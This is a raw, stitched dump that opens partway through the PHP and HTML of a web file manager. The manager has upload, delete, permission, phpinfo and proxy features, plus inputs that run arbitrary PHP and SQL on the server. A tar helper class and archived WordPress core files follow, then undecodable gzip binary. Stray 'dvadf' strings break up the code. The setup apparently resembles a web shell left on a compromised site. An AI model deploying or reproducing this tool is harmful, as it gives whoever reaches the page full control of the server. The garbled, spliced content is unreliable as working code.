				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
